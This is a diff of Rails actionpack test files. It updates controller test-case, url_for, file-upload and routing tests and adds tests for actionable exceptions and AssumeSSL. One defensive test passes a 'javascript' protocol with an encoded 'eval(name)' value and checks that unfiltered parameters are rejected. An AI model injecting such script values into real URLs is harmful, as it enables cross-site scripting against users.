   def test_assert_routing_with_method
     with_routing do |set|
       set.draw { resources(:content) }
-      assert_routing({ method: "post", path: "content" }, controller: "content", action: "create")
+      assert_routing({ method: "post", path: "content" }, { controller: "content", action: "create" })
     end
   end
 
@@ -445,6 +505,18 @@ def test_params_passing
     )
   end
 
+  def test_nil_params
+    get :test_params, params: nil
+    parsed_params = JSON.parse(@response.body)
+    assert_equal(
+      {
+        "action" => "test_params",
+        "controller" => "test_case_test/test"
+      },
+      parsed_params
+    )
+  end
+
   def test_query_param_named_action
     get :test_query_parameters, params: { action: "foobar" }
     parsed_params = JSON.parse(@response.body)
@@ -513,7 +585,7 @@ def test_params_passing_path_parameter_is_string_when_not_html_request
   def test_params_passing_with_frozen_values
     assert_nothing_raised do
       get :test_params, params: {
-        frozen: "icy".freeze, frozens: ["icy".freeze].freeze, deepfreeze: { frozen: "icy".freeze }.freeze
+        frozen: -"icy", frozens: [-"icy"].freeze, deepfreeze: { frozen: -"icy" }.freeze
       }
     end
     parsed_params = ::JSON.parse(@response.body)
@@ -548,13 +620,27 @@ def test_params_passing_doesnt_modify_in_place
     assert_equal "application/json", parsed_env["CONTENT_TYPE"]
   end
 
+  test "blank Content-Type header" do
+    @request.headers["Content-Type"] = ""
+    assert_raises(ActionDispatch::Http::MimeNegotiation::InvalidType) do
+      get :test_headers
+    end
+  end
+
+  test "nil Content-Type header with post request" do
+    @request.headers["Content-Type"] = nil
+    assert_raises(match: /Unknown Content-Type/) do
+      post :render_body
+    end
+  end
+
   def test_using_as_json_sets_request_content_type_to_json
     post :render_body, params: { bool_value: true, str_value: "string", num_value: 2 }, as: :json
 
     assert_equal "application/json", @request.headers["CONTENT_TYPE"]
-    assert_equal true, @request.request_parameters[:bool_value]
-    assert_equal "string", @request.request_parameters[:str_value]
-    assert_equal 2, @request.request_parameters[:num_value]
+    assert_equal true, @request.request_parameters["bool_value"]
+    assert_equal "string", @request.request_parameters["str_value"]
+    assert_equal 2, @request.request_parameters["num_value"]
   end
 
   def test_using_as_json_sets_format_json
@@ -562,6 +648,18 @@ def test_using_as_json_sets_format_json
     assert_equal "json", @request.format
   end
 
+  def test_using_as_json_with_empty_params
+    post :test_params, params: { foo: { bar: [] } }, as: :json
+
+    assert_equal({ "bar" => [] }, JSON.load(response.body)["foo"])
+  end
+
+  def test_using_as_json_with_path_parameters
+    post :test_params, params: { id: "12345" }, as: :json
+
+    assert_equal("12345", @request.path_parameters[:id])
+  end
+
   def test_mutating_content_type_headers_for_plain_text_files_sets_the_header
     @request.headers["Content-Type"] = "text/plain"
     post :render_body, params: { name: "foo.txt" }
@@ -599,7 +697,7 @@ def test_array_path_parameter_handled_properly
       set.draw do
         get "file/*path", to: "test_case_test/test#test_params"
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -668,7 +766,7 @@ def test_params_reset_between_post_requests
     assert_equal "bar", @request.params[:foo]
 
     post :no_op
-    assert @request.params[:foo].blank?
+    assert_predicate @request.params[:foo], :blank?
   end
 
   def test_filtered_parameters_reset_between_requests
@@ -679,6 +777,27 @@ def test_filtered_parameters_reset_between_requests
     assert_equal "baz", @request.filtered_parameters[:foo]
   end
 
+  def test_raw_post_reset_between_post_requests
+    post :no_op, params: { foo: "bar" }
+    assert_equal "foo=bar", @request.raw_post
+
+    post :no_op, params: { foo: "baz" }
+    assert_equal "foo=baz", @request.raw_post
+  end
+
+  def test_content_length_reset_after_post_request
+    post :no_op, params: { foo: "bar" }
+    assert_not_equal 0, @request.content_length
+
+    get :no_op
+    assert_equal 0, @request.content_length
+  end
+
+  def test_path_is_kept_after_the_request
+    get :test_params, params: { id: "foo" }
+    assert_equal "/test_case_test/test/test_params/foo", @request.path
+  end
+
   def test_path_params_reset_between_request
     get :test_params, params: { id: "foo" }
     assert_equal "foo", @request.path_parameters[:id]
@@ -728,25 +847,19 @@ def test_request_format_kwarg
     assert_equal "text/html", @response.body
   end
 
-  def test_request_path_info_and_format_reset
-    get :test_format, format: "json"
-    assert_equal "application/json", @response.body
-
-    get :test_uri, format: "json"
-    assert_equal "/test_case_test/test/test_uri.json", @response.body
-
-    get :test_format
-    assert_equal "text/html", @response.body
-
-    get :test_uri
-    assert_equal "/test_case_test/test/test_uri", @response.body
-  end
-
   def test_request_format_kwarg_overrides_params
     get :test_format, format: "json", params: { format: "html" }
     assert_equal "application/json", @response.body
   end
 
+  def test_request_format_kwarg_doesnt_mutate_params
+    params = { foo: "bar" }.freeze
+
+    assert_nothing_raised do
+      get :test_format, format: "json", params: params
+    end
+  end
+
   def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
     cookies["foo"] = "bar"
     get :no_op
@@ -789,7 +902,7 @@ def test_multiple_mixed_method_process_should_scrub_rack_input
     end
   end
 
-  FILES_DIR = File.dirname(__FILE__) + "/../fixtures/multipart"
+  FILES_DIR = File.expand_path("../fixtures/multipart", __dir__)
 
   READ_BINARY = "rb:binary"
   READ_PLAIN = "r:binary"
@@ -812,13 +925,6 @@ def test_test_uploaded_file
     assert_equal new_content_type, file.content_type
   end
 
-  def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case
-    TestCaseTest.stub :fixture_path, FILES_DIR do
-      uploaded_file = fixture_file_upload("/ruby_on_rails.jpg", "image/png")
-      assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
-    end
-  end
-
   def test_test_uploaded_file_with_binary
     filename = "ruby_on_rails.jpg"
     path = "#{FILES_DIR}/#{filename}"
@@ -834,7 +940,7 @@ def test_test_uploaded_file_with_binary
   def test_fixture_file_upload_with_binary
     filename = "ruby_on_rails.jpg"
     path = "#{FILES_DIR}/#{filename}"
-    content_type = "image/jpg"
+    content_type = "image/jpeg"
 
     binary_file_upload = fixture_file_upload(path, content_type, :binary)
     assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
@@ -844,34 +950,27 @@ def test_fixture_file_upload_with_binary
   end
 
   def test_fixture_file_upload_should_be_able_access_to_tempfile
-    file = fixture_file_upload(FILES_DIR + "/ruby_on_rails.jpg", "image/jpg")
-    assert file.respond_to?(:tempfile), "expected tempfile should respond on fixture file object, got nothing"
+    file = fixture_file_upload(FILES_DIR + "/ruby_on_rails.jpg", "image/jpeg")
+    assert_respond_to file, :tempfile
   end
 
   def test_fixture_file_upload
     post :test_file_upload,
       params: {
-        file: fixture_file_upload(FILES_DIR + "/ruby_on_rails.jpg", "image/jpg")
+        file: fixture_file_upload(FILES_DIR + "/ruby_on_rails.jpg", "image/jpeg")
       }
     assert_equal "45142", @response.body
   end
 
-  def test_fixture_file_upload_relative_to_fixture_path
-    TestCaseTest.stub :fixture_path, FILES_DIR do
-      uploaded_file = fixture_file_upload("ruby_on_rails.jpg", "image/jpg")
+  def test_fixture_file_upload_ignores_fixture_paths_given_full_path
+    TestCaseTest.stub :fixture_paths, __dir__ do
+      uploaded_file = fixture_file_upload("#{FILES_DIR}/ruby_on_rails.jpg", "image/jpeg")
       assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
     end
   end
 
-  def test_fixture_file_upload_ignores_fixture_path_given_full_path
-    TestCaseTest.stub :fixture_path, File.dirname(__FILE__) do
-      uploaded_file = fixture_file_upload("#{FILES_DIR}/ruby_on_rails.jpg", "image/jpg")
-      assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
-    end
-  end
-
-  def test_fixture_file_upload_ignores_nil_fixture_path
-    uploaded_file = fixture_file_upload("#{FILES_DIR}/ruby_on_rails.jpg", "image/jpg")
+  def test_fixture_file_upload_ignores_empty_fixture_paths
+    uploaded_file = fixture_file_upload("#{FILES_DIR}/ruby_on_rails.jpg", "image/jpeg")
     assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
   end
 
@@ -879,7 +978,7 @@ def test_action_dispatch_uploaded_file_upload
     filename = "ruby_on_rails.jpg"
     path = "#{FILES_DIR}/#{filename}"
     post :test_file_upload, params: {
-      file: Rack::Test::UploadedFile.new(path, "image/jpg", true)
+      file: Rack::Test::UploadedFile.new(path, "image/jpeg", true)
     }
     assert_equal "45142", @response.body
   end
@@ -892,13 +991,13 @@ def test_redirect_url_only_cares_about_location_header
     get :create
     assert_response :created
 
-    # Redirect url doesn't care that it wasn't a :redirect response.
-    assert_equal "created resource", @response.redirect_url
+    # Redirect URL doesn't care that it wasn't a :redirect response.
+    assert_equal "/resource", @response.redirect_url
     assert_equal @response.redirect_url, redirect_to_url
 
     # Must be a :redirect response.
     assert_raise(ActiveSupport::TestCase::Assertion) do
-      assert_redirected_to "created resource"
+      assert_redirected_to "/resource"
     end
   end
 
@@ -921,6 +1020,71 @@ def test_request_state_is_cleared_after_exception
 
     assert_equal "q=test2", @response.body
   end
+
+  def test_parsed_body_without_as_option
+    post :render_json, body: { foo: "heyo" }
+    assert_equal({ "foo" => "heyo" }, response.parsed_body)
+  end
+
+  def test_parsed_body_with_as_option
+    post :render_json, body: { foo: "heyo" }.to_json, as: :json
+    assert_equal({ "foo" => "heyo" }, response.parsed_body)
+  end
+
+  def test_reset_instance_variables_after_each_request
+    get :increment_count
+    assert_equal "1", response.body
+
+    get :increment_count
+    assert_equal "1", response.body
+  end
+
+  def test_can_read_instance_variables_before_and_after_request
+    silence_warnings do
+      assert_nil @controller.instance_variable_get(:@counter)
+    end
+
+    get :increment_count
+    assert_equal "1", response.body
+    assert_equal 1, @controller.instance_variable_get(:@counter)
+
+    get :increment_count
+    assert_equal "1", response.body
+    assert_equal 1, @controller.instance_variable_get(:@counter)
+  end
+
+  def test_ivars_are_not_reset_if_they_are_given_a_value_before_any_requests
+    @controller.instance_variable_set(:@counter, 3)
+
+    get :increment_count
+    assert_equal "4", response.body
+    assert_equal 4, @controller.instance_variable_get(:@counter)
+
+    get :increment_count
+    assert_equal "5", response.body
+    assert_equal 5, @controller.instance_variable_get(:@counter)
+
+    get :increment_count
+    assert_equal "6", response.body
+    assert_equal 6, @controller.instance_variable_get(:@counter)
+  end
+
+  def test_ivars_are_reset_if_they_are_given_a_value_after_some_requests
+    get :increment_count
+    assert_equal "1", response.body
+    assert_equal 1, @controller.instance_variable_get(:@counter)
+
+    @controller.instance_variable_set(:@counter, 3)
+
+    get :increment_count
+    assert_equal "1", response.body
+    assert_equal 1, @controller.instance_variable_get(:@counter)
+  end
+
+  def test_original_fullpath_doesnt_change_when_path_is_changed
+    get :original_fullpath
+    assert_equal "/test_case_test/test/original_fullpath", response.body
+  end
 end
 
 class ResponseDefaultHeadersTest < ActionController::TestCase
@@ -953,7 +1117,7 @@ def setup
     @request.env["PATH_INFO"] = nil
     @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
       r.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller(/:action(/:id))"
         end
       end
@@ -963,8 +1127,11 @@ def setup
   test "response contains default headers" do
     get :leave_alone
 
-    # Response headers start out with the defaults
-    assert_equal @defaults.merge("Content-Type" => "text/html"), response.headers
+    expected_headers = @defaults.merge("Content-Type" => "text/html")
+
+    expected_headers.each do |key, value|
+      assert_equal value, @response.headers[key]
+    end
   end
 
   test "response deletes a default header" do
@@ -999,7 +1166,7 @@ class BarControllerTest < ActionController::TestCase
 
     def test_engine_controller_route
       get :index
-      assert_equal @response.body, "bar"
+      assert_equal "bar", @response.body
     end
   end
 
@@ -1012,7 +1179,7 @@ def setup
 
     def test_engine_controller_route
       get :index
-      assert_equal @response.body, "bar"
+      assert_equal "bar", @response.body
     end
   end
 end
@@ -1036,7 +1203,7 @@ def determine_class(name)
     end
 end
 
-class CrazyNameTest < ActionController::TestCase
+class ManuallySetNameTest < ActionController::TestCase
   tests ContentController
 
   def test_controller_class_can_be_set_manually_not_just_inferred
@@ -1044,7 +1211,7 @@ def test_controller_class_can_be_set_manually_not_just_inferred
   end
 end
 
-class CrazySymbolNameTest < ActionController::TestCase
+class ManuallySetSymbolNameTest < ActionController::TestCase
   tests :content
 
   def test_set_controller_class_using_symbol
@@ -1052,7 +1219,7 @@ def test_set_controller_class_using_symbol
   end
 end
 
-class CrazyStringNameTest < ActionController::TestCase
+class ManuallySetStringNameTest < ActionController::TestCase
   tests "content"
 
   def test_set_controller_class_using_string
@@ -1082,7 +1249,7 @@ def index
 
     @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
       r.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller(/:action(/:id))"
         end
       end
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
index f640e77b998cc..cd3d68a0d4e6c 100644
--- a/actionpack/test/controller/url_for_integration_test.rb
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_controllers"
 require "active_support/core_ext/object/with_options"
@@ -33,7 +35,6 @@ class URLForIntegrationTest < ActiveSupport::TestCase
         as: "blog"
 
       resources :people
-      #match 'legacy/people' => "people#index", :legacy => "true"
 
       get "symbols", controller: :symbols, action: :show, name: :as_symbol
       get "id_default(/:id)" => "foo#id_default", :id => 1
@@ -52,7 +53,7 @@ class URLForIntegrationTest < ActiveSupport::TestCase
 
       get "news(.:format)" => "news#index"
 
-      ActiveSupport::Deprecation.silence {
+      ActionDispatch.deprecator.silence {
         get "comment/:id(/:action)" => "comments#show"
         get "ws/:controller(/:action(/:id))", ws: true
         get "account(/:action)" => "account#subscription"
@@ -86,6 +87,9 @@ def setup
       ["/blog/2009", [     { controller: "posts", action: "show_date", year: 2009 }]],
       ["/blog/2009/1", [   { controller: "posts", action: "show_date", year: 2009, month: 1 }]],
       ["/blog/2009/1/1", [ { controller: "posts", action: "show_date", year: 2009, month: 1, day: 1 }]],
+      ["/blog/2009/1/1", [ { controller: "posts", action: "show_date", path_params: { year: 2009, month: 1, day: 1 } }]],
+      ["/blog/2009", [ { controller: "posts", action: "show_date", year: 2009, path_params: { year: 2024 } }]],
+      ["/blog/2009", [ { controller: "posts", action: "show_date", year: 2009, path_params: "ignores_a_string" }]],
 
       ["/archive/2010", [ { controller: "archive", action: "index", year: "2010" }]],
       ["/archive", [      { controller: "archive", action: "index" }]],
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index 862dcf01c3b9e..8df6c64159304 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module AbstractController
@@ -6,7 +8,7 @@ class UrlForTest < ActionController::TestCase
       class W
         include ActionDispatch::Routing::RouteSet.new.tap { |r|
           r.draw {
-            ActiveSupport::Deprecation.silence {
+            ActionDispatch.deprecator.silence {
               get ":controller(/:action(/:id(.:format)))"
             }
           }
@@ -75,8 +77,8 @@ def test_false_anchor
       end
 
       def test_anchor_should_call_to_param
-        assert_equal("/c/a#anchor",
-          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: Struct.new(:to_param).new("anchor"))
+        assert_equal("/c/a/i#anchor",
+          W.new.url_for(only_path: true, controller: "c", action: "a", id: "i", anchor: Struct.new(:to_param).new("anchor"))
         )
       end
 
@@ -170,6 +172,28 @@ def test_port
         )
       end
 
+      def test_port_normalization
+        assert_equal(
+          "https://example.com/c",
+          W.new.url_for(host: "https://example.com:443", controller: "c")
+        )
+
+        assert_equal(
+          "https://example.com:444/c",
+          W.new.url_for(host: "https://example.com:444", controller: "c")
+        )
+
+        assert_equal(
+          "http://example.com/c",
+          W.new.url_for(host: "http://example.com:80", controller: "c")
+        )
+
+        assert_equal(
+          "http://example.com:81/c",
+          W.new.url_for(host: "http://example.com:81", controller: "c")
+        )
+      end
+
       def test_default_port
         add_host!
         add_port!
@@ -178,13 +202,6 @@ def test_default_port
         )
       end
 
-      def test_protocol
-        add_host!
-        assert_equal("https://www.basecamphq.com/c/a/i",
-          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https")
-        )
-      end
-
       def test_protocol_with_and_without_separators
         add_host!
         assert_equal("https://www.basecamphq.com/c/a/i",
@@ -220,6 +237,22 @@ def test_without_protocol_and_with_port
         )
       end
 
+      def test_user_name_and_password
+        add_host!
+        assert_equal(
+          "http://david:secret@www.basecamphq.com/c/a/i",
+          W.new.url_for(user: "david", password: "secret", controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_user_name_and_password_with_escape_codes
+        add_host!
+        assert_equal(
+          "http://openid.aol.com%2Fnextangler:one+two%3F@www.basecamphq.com/c/a/i",
+          W.new.url_for(user: "openid.aol.com/nextangler", password: "one two?", controller: "c", action: "a", id: "i")
+        )
+      end
+
       def test_trailing_slash
         add_host!
         options = { controller: "foo", trailing_slash: true, action: "bar", id: "33" }
@@ -266,7 +299,7 @@ def test_relative_url_root_is_respected_with_environment_variable
         w = Class.new {
           config = ActionDispatch::Routing::RouteSet::Config.new "/subdir"
           r = ActionDispatch::Routing::RouteSet.new(config)
-          r.draw { ActiveSupport::Deprecation.silence { get ":controller(/:action(/:id(.:format)))" } }
+          r.draw { ActionDispatch.deprecator.silence { get ":controller(/:action(/:id(.:format)))" } }
           include r.url_helpers
         }
         add_host!(w)
@@ -286,13 +319,13 @@ def test_named_routes
           kls = Class.new { include set.url_helpers }
 
           controller = kls.new
-          assert controller.respond_to?(:home_url)
+          assert_respond_to controller, :home_url
           assert_equal "http://www.basecamphq.com/home/sweet/home/again",
-            controller.send(:home_url, host: "www.basecamphq.com", user: "again")
+            controller.home_url(host: "www.basecamphq.com", user: "again")
 
-          assert_equal("/home/sweet/home/alabama", controller.send(:home_path, user: "alabama", host: "unused"))
-          assert_equal("http://www.basecamphq.com/home/sweet/home/alabama", controller.send(:home_url, user: "alabama", host: "www.basecamphq.com"))
-          assert_equal("http://www.basecamphq.com/this/is/verbose", controller.send(:no_args_url, host: "www.basecamphq.com"))
+          assert_equal("/home/sweet/home/alabama", controller.home_path(user: "alabama", host: "unused"))
+          assert_equal("http://www.basecamphq.com/home/sweet/home/alabama", controller.home_url(user: "alabama", host: "www.basecamphq.com"))
+          assert_equal("http://www.basecamphq.com/this/is/verbose", controller.no_args_url(host: "www.basecamphq.com"))
         end
       end
 
@@ -306,7 +339,59 @@ def test_relative_url_root_is_respected_for_named_routes
           controller = kls.new
 
           assert_equal "http://www.basecamphq.com/subdir/home/sweet/home/again",
-            controller.send(:home_url, host: "www.basecamphq.com", user: "again", script_name: "/subdir")
+            controller.home_url(host: "www.basecamphq.com", user: "again", script_name: "/subdir")
+        end
+      end
+
+      def test_path_params_with_default_url_options
+        with_routing do |set|
+          set.draw do
+            scope ":account_id" do
+              get "dashboard" => "pages#dashboard", as: :dashboard
+              get "search(/:term)" => "search#search", as: :search
+            end
+            delete "signout" => "sessions#destroy", as: :signout
+          end
+
+          kls = Class.new do
+            include set.url_helpers
+            def default_url_options
+              { path_params: { account_id: "foo" } }
+            end
+          end
+
+          controller = kls.new
+
+          assert_equal("/foo/dashboard", controller.dashboard_path)
+          assert_equal("/bar/dashboard", controller.dashboard_path(account_id: "bar"))
+          assert_equal("/signout", controller.signout_path)
+          assert_equal("/signout?account_id=bar", controller.signout_path(account_id: "bar"))
+          assert_equal("/signout?account_id=bar", controller.signout_path(account_id: "bar", path_params: { account_id: "baz" }))
+          assert_equal("/foo/search/quin", controller.search_path("quin"))
+        end
+      end
+
+      def test_path_params_without_default_url_options
+        with_routing do |set|
+          set.draw do
+            scope ":account_id" do
+              get "dashboard" => "pages#dashboard", as: :dashboard
+              get "search(/:term)" => "search#search", as: :search
+            end
+            delete "signout" => "sessions#destroy", as: :signout
+          end
+
+          kls = Class.new { include set.url_helpers }
+          controller = kls.new
+
+          assert_raise(ActionController::UrlGenerationError) do
+            controller.dashboard_path # missing required keys :account_id
+          end
+
+          assert_equal("/bar/dashboard", controller.dashboard_path(path_params: { account_id: "bar" }))
+          assert_equal("/signout", controller.signout_path(path_params: { account_id: "bar" }))
+          assert_equal("/signout?account_id=bar", controller.signout_path(account_id: "bar", path_params: { account_id: "baz" }))
+          assert_equal("/foo/search/quin", controller.search_path("foo", "quin"))
         end
       end
 
@@ -322,7 +407,7 @@ def test_only_path
           set.draw do
             get "home/sweet/home/:user", to: "home#index", as: :home
 
-            ActiveSupport::Deprecation.silence do
+            ActionDispatch.deprecator.silence do
               get ":controller/:action/:id"
             end
           end
@@ -352,6 +437,30 @@ def test_two_parameters
         assert_equal({ p2: "Y2" }.to_query, params[1])
       end
 
+      def test_params_option
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", params: { domain: "foo", id: "1" })
+        params = extract_params(url)
+        assert_equal("/c/a?domain=foo&id=1", url)
+        assert_equal({ domain: "foo" }.to_query, params[0])
+        assert_equal({ id: "1" }.to_query, params[1])
+      end
+
+      def test_params_option_strong_parameters
+        request_params = ActionController::Parameters.new({ domain: "foo", id: "1", other: "BAD" })
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", params: request_params.permit(:domain, :id))
+        params = extract_params(url)
+        assert_equal("/c/a?domain=foo&id=1", url)
+        assert_equal({ domain: "foo" }.to_query, params[0])
+        assert_equal({ id: "1" }.to_query, params[1])
+      end
+
+      def test_non_hash_params_option
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", params: "p")
+        params = extract_params(url)
+        assert_equal("/c/a?params=p", url)
+        assert_equal({ params: "p" }.to_query, params[0])
+      end
+
       def test_hash_parameter
         url = W.new.url_for(only_path: true, controller: "c", action: "a", query: { name: "Bob", category: "prof" })
         params = extract_params(url)
@@ -386,7 +495,7 @@ def test_hash_recursive_and_array_parameters
 
       def test_url_action_controller_parameters
         add_host!
-        assert_raise(ArgumentError) do
+        assert_raise(ActionController::UnfilteredParameters) do
           W.new.url_for(ActionController::Parameters.new(controller: "c", action: "a", protocol: "javascript", f: "%0Aeval(name)"))
         end
       end
@@ -408,9 +517,9 @@ def test_named_routes_with_nil_keys
 
           controller = kls.new
           params = { action: :index, controller: :posts, format: :xml }
-          assert_equal("http://www.basecamphq.com/posts.xml", controller.send(:url_for, params))
+          assert_equal("http://www.basecamphq.com/posts.xml", controller.url_for(params))
           params[:format] = nil
-          assert_equal("http://www.basecamphq.com/", controller.send(:url_for, params))
+          assert_equal("http://www.basecamphq.com/", controller.url_for(params))
         end
       end
 
@@ -462,7 +571,7 @@ def test_url_generation_with_array_and_hash
 
           controller = kls.new
           assert_equal("http://www.basecamphq.com/admin/posts/new?param=value",
-            controller.send(:url_for, [:new, :admin, :post, { param: "value" }])
+            controller.url_for([:new, :admin, :post, { param: "value" }])
           )
         end
       end
diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb
deleted file mode 100644
index a055e6d177cd3..0000000000000
--- a/actionpack/test/controller/url_rewriter_test.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-require "abstract_unit"
-require "controller/fake_controllers"
-
-class UrlRewriterTests < ActionController::TestCase
-  class Rewriter
-    def initialize(request)
-      @options = {
-        host: request.host_with_port,
-        protocol: request.protocol
-      }
-    end
-
-    def rewrite(routes, options)
-      routes.url_for(@options.merge(options))
-    end
-  end
-
-  def setup
-    @params = {}
-    @rewriter = Rewriter.new(@request) #.new(@request, @params)
-    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
-      r.draw do
-        ActiveSupport::Deprecation.silence do
-          get ":controller(/:action(/:id))"
-        end
-      end
-    end
-  end
-
-  def test_port
-    assert_equal("http://test.host:1271/c/a/i",
-      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", port: 1271)
-    )
-  end
-
-  def test_protocol_with_and_without_separator
-    assert_equal("https://test.host/c/a/i",
-      @rewriter.rewrite(@routes, protocol: "https", controller: "c", action: "a", id: "i")
-    )
-
-    assert_equal("https://test.host/c/a/i",
-      @rewriter.rewrite(@routes, protocol: "https://", controller: "c", action: "a", id: "i")
-    )
-  end
-
-  def test_user_name_and_password
-    assert_equal(
-      "http://david:secret@test.host/c/a/i",
-      @rewriter.rewrite(@routes, user: "david", password: "secret", controller: "c", action: "a", id: "i")
-    )
-  end
-
-  def test_user_name_and_password_with_escape_codes
-    assert_equal(
-      "http://openid.aol.com%2Fnextangler:one+two%3F@test.host/c/a/i",
-      @rewriter.rewrite(@routes, user: "openid.aol.com/nextangler", password: "one two?", controller: "c", action: "a", id: "i")
-    )
-  end
-
-  def test_anchor
-    assert_equal(
-      "http://test.host/c/a/i#anchor",
-      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", anchor: "anchor")
-    )
-  end
-
-  def test_anchor_should_call_to_param
-    assert_equal(
-      "http://test.host/c/a/i#anchor",
-      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", anchor: Struct.new(:to_param).new("anchor"))
-    )
-  end
-
-  def test_anchor_should_be_uri_escaped
-    assert_equal(
-      "http://test.host/c/a/i#anc/hor",
-      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", anchor: Struct.new(:to_param).new("anc/hor"))
-    )
-  end
-
-  def test_trailing_slash
-    options = { controller: "foo", action: "bar", id: "3", only_path: true }
-    assert_equal "/foo/bar/3", @rewriter.rewrite(@routes, options)
-    assert_equal "/foo/bar/3?query=string", @rewriter.rewrite(@routes, options.merge(query: "string"))
-    options.update(trailing_slash: true)
-    assert_equal "/foo/bar/3/", @rewriter.rewrite(@routes, options)
-    options.update(query: "string")
-    assert_equal "/foo/bar/3/?query=string", @rewriter.rewrite(@routes, options)
-  end
-end
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
index 6f97a4b62e0b6..23a46df5cde61 100644
--- a/actionpack/test/controller/webservice_test.rb
+++ b/actionpack/test/controller/webservice_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/json/decoding"
 
@@ -12,7 +14,7 @@ def assign_parameters
     end
 
     def dump_params_keys(hash = params)
-      hash.keys.sort.inject("") do |s, k|
+      hash.keys.sort.each_with_object(+"") do |k, s|
         value = hash[k]
 
         if value.is_a?(Hash) || value.is_a?(ActionController::Parameters)
diff --git a/actionpack/test/dispatch/actionable_exceptions_test.rb b/actionpack/test/dispatch/actionable_exceptions_test.rb
new file mode 100644
index 0000000000000..e12af42fdb5a0
--- /dev/null
+++ b/actionpack/test/dispatch/actionable_exceptions_test.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ActionableExceptionsTest < ActionDispatch::IntegrationTest
+  Actions = []
+
+  class ActionError < StandardError
+    include ActiveSupport::ActionableError
+
+    action "Successful action" do
+      Actions << "Action!"
+    end
+
+    action "Failed action" do
+      raise "Inaction!"
+    end
+  end
+
+  Noop = -> env { [200, {}, [""]] }
+
+  setup do
+    @app = Rack::Lint.new(
+      ActionDispatch::ActionableExceptions.new(
+        Rack::Lint.new(Noop),
+      ),
+    )
+
+    Actions.clear
+  end
+
+  test "dispatches an actionable error" do
+    post ActionDispatch::ActionableExceptions.endpoint, params: {
+      error: ActionError.name,
+      action: "Successful action",
+      location: "/",
+    }, headers: { "action_dispatch.show_detailed_exceptions" => true }
+
+    assert_equal ["Action!"], Actions
+
+    assert_equal 302, response.status
+    assert_equal "/", response.headers["Location"]
+  end
+
+  test "cannot dispatch errors if not allowed" do
+    post ActionDispatch::ActionableExceptions.endpoint, params: {
+      error: ActionError.name,
+      action: "Successful action",
+      location: "/",
+    }, headers: { "action_dispatch.show_detailed_exceptions" => false }
+
+    assert_empty Actions
+  end
+
+  test "dispatched action can fail" do
+    assert_raise RuntimeError do
+      post ActionDispatch::ActionableExceptions.endpoint, params: {
+        error: ActionError.name,
+        action: "Failed action",
+        location: "/",
+      }, headers: { "action_dispatch.show_detailed_exceptions" => true }
+    end
+  end
+
+  test "cannot dispatch non-actionable errors" do
+    assert_raise ActiveSupport::ActionableError::NonActionable do
+      post ActionDispatch::ActionableExceptions.endpoint, params: {
+        error: RuntimeError.name,
+        action: "Inexistent action",
+        location: "/",
+      }, headers: { "action_dispatch.show_detailed_exceptions" => true }
+    end
+  end
+
+  test "cannot dispatch Inexistent errors" do
+    assert_raise ActiveSupport::ActionableError::NonActionable do
+      post ActionDispatch::ActionableExceptions.endpoint, params: {
+        error: "",
+        action: "Inexistent action",
+        location: "/",
+      }, headers: { "action_dispatch.show_detailed_exceptions" => true }
+    end
+  end
+
+  test "catches invalid redirections" do
+    post ActionDispatch::ActionableExceptions.endpoint, params: {
+      error: ActionError.name,
+      action: "Successful action",
+      location: "wss://example.com",
+    }, headers: { "action_dispatch.show_detailed_exceptions" => true }
+
+    assert_equal 400, response.status
+  end
+end
diff --git a/actionpack/test/dispatch/assume_ssl_test.rb b/actionpack/test/dispatch/assume_ssl_test.rb
new file mode 100644
index 0000000000000..9286b562c85ee
--- /dev/null
+++ b/actionpack/test/dispatch/assume_ssl_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class AssumeSSLTest < ActiveSupport::TestCase
+  test "sets expected headers" do
+    app = lambda { |_env| [ 200, {}, [] ] }
+    env = Rack::MockRequest.env_for("", {})
+
+    Rack::Lint.new(
+      ActionDispatch::AssumeSSL.new(
+        Rack::Lint.new(app)
+      )
+    ).call(env)
+
+    assert_equal "on", env["HTTPS"]
+    assert_equal "443", env["HTTP_X_FORWARDED_PORT"]
+    assert_equal "https", env["HTTP_X_FORWARDED_PROTO"]
+    assert_equal "https", env["rack.url_scheme"]
+  end
+end
